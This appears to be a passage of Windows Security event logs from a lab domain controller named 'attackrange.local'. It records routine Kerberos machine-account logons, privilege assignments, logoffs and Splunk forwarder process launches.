Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x428CE8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65399

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:32:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256576
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x428CE8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:32:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256575
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x428C7C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:32:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256574
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x428C7C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65398

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:32:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256573
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x428C7C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:32:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256579
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:32:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256581
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:32:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256580
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1250
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256593
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc10
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256592
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x429E7F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256591
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x429F8D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256590
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x429FD6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256589
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x42A048
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65403

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256588
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x42A048

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256587
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x429FD6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		65402

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256586
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x429FD6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256585
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x429F8D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256584
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x429F8D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256583
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x429E7F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		65401

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:32:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256582
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x429E7F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:32:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256594
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:32:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256595
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:32:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256596
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:32:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256597
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x42A048

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:32:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256600
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x42C64F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:32:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256599
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
